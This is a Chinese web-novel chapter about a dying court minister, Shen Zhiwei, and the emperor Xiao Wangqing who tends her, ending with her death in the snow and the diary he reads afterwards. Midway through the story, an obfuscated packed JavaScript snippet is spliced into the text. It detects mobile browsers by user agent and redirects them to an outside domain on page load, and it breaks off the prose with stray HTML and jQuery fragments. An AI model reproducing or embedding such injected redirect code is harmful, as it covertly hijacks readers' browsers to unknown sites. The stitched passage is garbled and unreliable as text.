沈知微的身子时好时坏，并未因新朝的安稳而有起色。
她像一架旧琴，虽勉强能奏出清音，但弦已松，木已朽。
咳疾缠身，畏寒惧风，入了秋便难得离榻，地龙烧得再旺，她的指尖也总是冰凉的。
徐竖的须发更白了，眉头也皱得更深。药方换了又换，药材皆是天下难寻的珍品，可终究只能延缓，难逆天命。
萧望卿批阅奏折的御案，早已稳稳当当地挪到了她外间的暖阁。皇帝陛下处理朝政的间隙，总能听见内间低抑的咳嗽声，那时朱笔便会顿住，直到咳声渐歇，才又继续落下。
他黏她黏得厉害。
若非必要朝会，几乎寸步不离。大臣们早已习惯在禀报时，偶尔听到内间传来轻缓的呼吸或翻书声，也习惯了陛下时常心不在焉，目光总往那垂落的珠帘瞟。
秋雨渐沥，沈知微精神稍好，披着厚毯靠在窗边软榻上，看庭中残桂被雨打落，碎金铺了一地。萧望卿坐在不远处，正蹙眉批着一份关于边市税收的奏疏。
沈知微忽然极轻地笑了一下。
萧望卿立刻抬头：“怎么了？”
“想起殿下……先太子当年，也总为边市税额与朝臣争执，”她弯着眼睛，语气平淡，目光仍落在窗外，“他总想压得太低，示恩于蛮族，以求边陲暂安。”
萧望卿放下笔，走到她榻边坐下，极其自然地将她微凉的手拢入掌心暖着。
“皇兄惯会用怀柔之策，”他哼了一声，眼底掠过一丝阴霾，却又迅速压下，只低头揉着她的手指，“殊不知边患如疥癣，暂安必生大乱。以战止战，以利固边，才是长远之道。”
沈知微嗯了一声，没再说话。她近来时常如此，会忽然想起一些关于萧翎钧的碎片，无关爱恨，只是忽然记起，便随口说了。
萧望卿起初会紧张，会绷紧下颌，眼底沉得吓人。后来发现她真的只是想起，并无追念之意，便也只默默听着，偶尔搭一两句话，努力试着将那些属于皇兄的痕迹，一点点用自己的存在覆盖掉。
沈知微自己倒很平静。没事的时候，她会靠在窗边，看庭院鸟雀落上枝丫，又四散而去。
偶尔想起萧翎钧，也不是想起那些阴谋算计，想起他最后近乎疯魔的掌控。她想起的，往往是很多年前，东宫书房里，那个还会因为她一句夸奖而耳根微红的少年储君。
想起他握着她冰凉的手，一笔一划向她求教策论文章。
想起地牢阴冷，他脱下狐裘裹住她颤抖的身躯，说别怕。
记忆被时光滤去了尖锐的棱角，只剩下模糊而温软的轮廓，搁在角落，落着灰，偶尔被目光拂过，泛起一点微茫的光。
萧望卿大半时间都耗在她处理公务的偏殿，美其名曰共商国是，实则往往是沈知微批阅奏章，他就在一旁看着，或是研磨，或是递茶，像个沉默且笨拙的书童。
他如今已是真正的九五之尊，眉宇间积威日重，朝堂上杀伐决断，无人敢直视其锋。可一到沈知微面前，那点在北疆磨砺出的冷硬便荡然无存，时常显得无措。
沈知微咳嗽久了，他便坐立难安，眼神惶惶。
沈知微若因精力不济伏案小憩，他能屏退左右，一动不动地在旁边守上两个时辰，连呼吸都放轻。
他甚至开始搜罗各种稀奇古怪的民间偏方，祥瑞吉物，一股脑送到她面前，也不管是否合乎药理，只巴巴地看着她，盼着她能露出一丝笑意，或点头说一句尚可。
这日，他又捧来一个锦盒，里面并非药材，而是一尊雕工粗糙的猫像，材质似木非木，似石非石，透着股古朴诡异的气息。
“这是？”沈知微拿起那尊不过巴掌大的小猫端详，它与她四目相对，面目模糊，唯有眼睛处嵌着两粒幽黑的石子。
“母族那边…前日递了信来。说是族中供奉的那位古神，近日祭坛常有异动。族老们传言，或是神明垂怜，”萧望卿说得有些含糊，眼神飘向别处，“他们说，供奉此神，可……可涤荡罪孽，予人重来的机会。”
他说完自己先嗤笑一声，显然并不真信，指尖无意识摩挲着神像底座：“荒诞不经之说，朕本不想拿来扰你。只是…万一呢？”
沈知微放下神像，目光掠过他紧抿的唇线和眼底的青黑。她想起静姝偷偷告诉她，陛下近来常于深夜独自在宗庙中枯坐，有时一坐便是整夜。
她轻轻叹了口气：“陛下是天子，天子代天牧民，何需求助于异域小神？至于罪孽……真要论罪，臣算计倾轧，桩桩件件不比陛下少上多少。”
“神明若真有眼，怕也懒得分辨你我谁更该死些，”她顿了顿，微微侧头，“活着的人好好活着，便是对逝者最大的告慰。求神问鬼，不如问心。”
萧望卿沉默下去，许久才极轻地点了点头，将那神像默默收回盒中，不再提及。
偏殿内一时只闻沈知微笔尖划过纸面的沙沙声，以及窗外偶尔传来的几声鸟鸣。
萧望卿并没有离开，他只是换了个位置，坐到离她软榻不远处的窗下，拿起一本她批阅过的奏折，看似翻阅，目光却久久未动。
沈知微批完最后一本，搁下笔，揉了揉发胀的眉心。
她抬眼，正看见自家陛下对着那本奏折发呆的侧影，竟无端看出几分可怜。
像只被雨淋湿了皮毛，却不知该往何处去的大型犬。
她忽然觉得有些好笑，唇角便真的弯起一点极淡的弧度。
萧望卿似有所觉，猛地抬头，他眼底那点未来得及掩藏的惶然被她瞧个正着，下意识便想别开视线，却又强自忍住，只喉结微动：“可是累了？歇一会。”
沈知微朝他伸出手。
萧望卿一怔，忙起身过去，半跪在榻前，将她微凉的手合入自己掌心，小心暖着：“要什么？茶？还是冷了？”
她摇了摇头，指尖在他掌心极轻地挠了一下。
“陛下，”她笑道，“奏折拿反了。”
萧望卿耳根蓦地一热，回头瞥向方才搁下的那本奏疏，果然倒置着，他竟对着反着的字发了半晌呆。
一丝窘迫爬上眉梢，他抿紧唇，默不作声地将她的手拢得更紧些，仿佛这样便能将方才的失态遮掩过去。
沈知微任他握着，目光落在他低垂的眉眼上。萧望卿的触碰从无关情欲，她起初还不适应，逐渐也习惯了。
殿内一时安静，只闻窗外细雨敲檐。
她轻声道：“陛下，臣若走了…”
萧望卿猛地攥紧她的手，力道大得几乎捏碎她的指骨，又惊觉失态，慌忙松开，眼底已是一片骇人的红：“不准说。”
他气息急促，胸口剧烈起伏，那日长街血战，踏着尸山将她抢出时都未曾颤抖的手，此刻却抖得不成样子。
沈知微沉默地看着他笑了笑。
她忽然觉得有些倦了，不是身体的倦，而是心倦。那些算计、担忧、对身后事的种种安排，在这一刻，似乎都失去了分量。
她反手，用尽此刻能聚起的一点气力，回握住他颤抖的手指。
“好，那就不说。”
萧望卿紧绷的肩背骤然一松，脱力般将额头抵在她手背上，呼吸沉重而潮湿。
“朕，”他声音闷在她微凉的皮肤上，含糊不清，“朕让人新寻了些上好的银炭，地龙今夜会烧得更暖些。徐竖说冬日将至，需得格外仔细。”
他絮絮地说着这些琐碎的安排。
沈知微安静地听着，指尖在他发顶轻轻拂过。
深冬的雪在夜间悄然而至，清晨推窗，外面已是琼装素裹。
沈知微难得睡了个安稳觉，醒来时听见外间宫人扫雪的声音。她撑身坐起，透过窗隙看见一片皑皑白光，竟比往日精神好些。
“静姝。”她轻声唤。
小宫女忙掀帘进来，眼底带着喜色：“公子醒了？今日气色真好。陛下早朝前还来看过，见您睡着没让吵醒。”
沈知微笑了笑：“我想出去看看雪。”
静姝一愣，随即为难：“外头风大，徐院判说您不能受寒……”
“就一会，”沈知微望着窗外，“替我穿厚些。”
静姝拗不过，取来最厚的银狐裘，又塞了手炉，将她裹得严实，才小心扶到廊下。
雪光澄澈，映得她久未见日色的脸愈发透明。沈知微倚着廊柱，看小太监们将积雪扫拢成堆，轻声道：“都下去吧。”
静姝迟疑：“公子……”
“无妨，”她笑了笑，“我想独自待片刻。”
宫人终是退尽了，庭院空寂，只余雪落枝头的轻响。她走上前去，慢慢弯下腰，狐裘下摆浸在未扫净的雪沫里，很快洇开深色。
她之前也是堆过雪人的，和小妹，和萧翎钧。
后来小妹不在了，萧翎钧也不在了。
她摇了摇头，佝偻着回忆雪人的堆法，隔着大氅捏出来一个人形，随后颇没公德心地折了梅枝插进雪人两侧做手臂。
……
她折了雪人左手的一半枝条下来。
左腕的伤口依旧隐隐作痛，无论是以前的沈伴读，还是现在的沈太傅，一直都是一个记仇的人。
不过报复方式非常幼稚。
毕竟她总不能对皇帝做些什么，国家安定，乐无央兮。
这样就很好了，将死之人别无所求。
这个国家经不起再一次的战火。
*
雪停了。
萧望卿放下朱笔，揉了揉眉心。一夜未眠，奏折上的字迹有些模糊。他抬眼望向内殿垂落的锦帘，那里静悄悄的，连一声咳嗽也无。
这安静让他心口一松，又隐隐泛起不安。
平日这个时候，她该醒了，总会有几声压抑的低咳，或唤静姝斟茶的微哑嗓音。
今日却太静了。
他起身，放轻脚步走过去，指尖撩开帘幔一角。
她不在榻上。
狐裘也不在。
萧望卿眉心一蹙，转身快步走向殿外。候在门边的内侍见状慌忙躬身，不及开口，皇帝已一阵风似的掠过庭阶。
然后，他看见了。
庭院东南角的梅树下，她裹着那件厚重的银狐裘，背对着他，像是在端详雪地里的什么。
新雪初霁，晨光稀薄，勾勒出她清瘦而不堪摧折的轮廓。
她面前堆着一个小小的雪人，歪歪扭扭，插着两截梅枝作手臂。其中一截梅枝被折去了一半，断口新鲜。
萧望卿的脚步顿在原地。
“沈公子？”他唤了一声，声音干涩得自己都陌生。
她没有回头，也没有动。
庭中风止，万籁俱寂。
萧望卿一步步走过去，他已经比沈知微高出许多，老皇帝给他取名望卿，为了让他谨记自己的身份，卑微到永远只能仰望九五之尊的位置，连争的资格都没有。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266788|180155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
但他现在是皇帝。
积雪在他靴下发出吱呀的轻响。他绕到她身前，半跪下来。
她闭着眼，长睫低垂，唇色极淡。一只手还虚虚地搭在那雪人的断臂上，另一只手蜷在狐裘深处，握着尚且温热的手炉。
那双总是清冷沉静，或带着倦怠，或偶尔掠过一丝锐光的眼睛，安静地阖着。
萧望卿的手伸出一半，悬在半空。
“……”他张了张嘴，喉咙里像是被冰雪堵住，挤不出一个完整的音节。周遭的一切声音骤然褪去，世界死寂一片，只剩下他自己狂乱的心跳和血液冲上头顶的轰鸣。
他猛地伸出手，指尖颤抖着探向她颈侧。
触手一片冰寒。
没有脉搏。
那细微的，他曾无数次在深夜凝神捕捉，以此确认她仍存于世的跳动，消失了。
他忽然想起很多年前，淮安雨夜，她递来那半只糖凤凰时，指尖蹭过他掌心的微痒。想起她咳着血，笑着说你懂什么。想起她批阅奏折时微蹙的眉心，窗下小憩时轻缓的呼吸。
想起她昨夜最后一句极轻的：“陛下，雪停了。”
他当时只嗯了一声，想着下朝后要陪她看雪景。
原来那不是闲谈。
是告别。
萧望卿缓缓俯下身，额头抵在她冰冷的手背上，宽阔的肩背难以抑制地颤抖起来，却发不出一点声音。
萧望卿罢朝一日。
暖阁地龙依旧烧得滚烫，熏香也换了她平日惯用的冷梅调，可怀中的身躯还是一寸寸冷了下去，僵硬得硌人。
他枯坐良久，直到日影西斜，才抬手，摸索她枕边常抚的那处暗格。
格中并无多少物件，只一册纸边已泛黄卷起的旧札。
他颤着手翻开。
墨迹深浅不一，多是病中勉力写就，越到后来越是潦草，甚至有些字被咳出的血点洇开，化作模糊的暗斑。
「腊月廿三，冷宫。救下一猫，甚凶，咬人。东宫碳火，貂裘皆赠之，或可一用。恐殿下见责，然见其蜷缩雪中，如见小妹当年。」
「腊月廿七，宴上。殿下不悦，我亦心惊。此子非池中物，或成殿下心腹大患。」
「正月十六，江淮行船。谢家世子可用，三殿下沉默太过。其伤处脓血不止，换药时能忍痛不吭，心性之韧，非常人。」
「二月廿二，雨。查账三日，江南道蠹虫皆现形骸。周茂年伏诛前睨我，笑言‘东宫鹰犬，他日亦同此下场’。屁话。」
「二月廿六，灯市救林氏女。其容肖我，绝非偶然。」
「三月初七，咳甚。殿下亲煎汤药，斥我不知自惜。药苦胜黄连，然其眉间沉郁较我更深。十年主仆，竟累他至此。」
「三皇子北疆捷报至。殿下掷卷冷笑，夜半独饮。我奉醒酒汤而立阶下，见月华浸透他肩头龙纹，忽觉天家孤寒，非人臣可暖。」
指尖抚过那些洇开的血点，他继续翻页，墨迹愈见潦草虚弱，行距散乱，仿佛执笔之人连握稳笔杆都已是勉强。
「四月初十，晴。移居西偏殿。地龙过暖，咳稍缓。陛下……萧望卿令人将奏折皆搬至外间，批阅时亦不避我。其朱批日益果决，然每闻我咳，必顿笔良久。」
「四月十七，雨。夜半痛醒，见他伏案小憩，灯花落满肩头竟不自知。想唤他歇息，开口却又是一阵呛咳。他惊醒奔入，眼底血丝骇人，却只哑声问‘可要喝水？’。何苦。」
「五月初五，端阳。静姝偷塞入粽子一枚，甜腻异常。被陛下察觉，斥其不知分寸。然午后，案头多了一碟剔净核的蜜枣。」
「八月中秋，桂子落满砚台。他摘枯枝编环，强戴我发间。簪歪了，欲正之，却见他眼底血丝如网，终默许这荒唐。横竖史笔如刀，不差这一桩。」
「清明雨至，他携酒坐我榻前，自斟自饮至天明。醉时絮絮言北疆风沙，言淮安糖画，言若重选，宁做雪地饿殍换我不沾东宫业障。昏话连篇，枉为帝王。」
「十月初三，雪。他携梅枝入殿，发间沾白亦不知。想拂去，抬手却咳得蜷缩。其惶然欲上前又怯，状若幼犬。忽忆冷宫初遇时，彼亦这般瑟缩警惕。十年轮回，可笑可叹。」
墨迹至此骤断，最后数行散乱如蛛网，勉强可辨。
「萧望卿，望卿。」
「此名甚好。望卿为明君，望卿守山河。」
「我知你终将得见此册。若天道垂怜，许你在我去后方启此格。」
「十年饮鸩，非你之过，亦非殿下之罪。是我贪生，是我愿赌。雪地一命，东宫十年，江山万里，皆是我心甘情愿。」
「你灭门夺位，史书难免暴君之名。然暴君若止兵祸、削豪强、轻徭赋、开边市，使老有所终，幼有所长——」
「则百年后，青史自有公论。」
「北疆铁骑可镇边关，不可镇民心。谢家世子可用不可信，林氏女…善待之，莫因像我而迁怒。」
「今我去矣，勿悲勿念。唯愿你持此社稷，御极天下，做四海清平之主，成万民仰望之君。」
「若他年史书工笔敢记你半字昏聩，我必于九泉之下掀翻阎罗殿案。」
萧望卿跪在榻前，指腹死死按着那未干的墨迹，直至指尖染透漆黑。
他俯身将额角抵在冰冷榻沿，从喉间挤出极低的一声笑。
“好。”
“朕答应你。”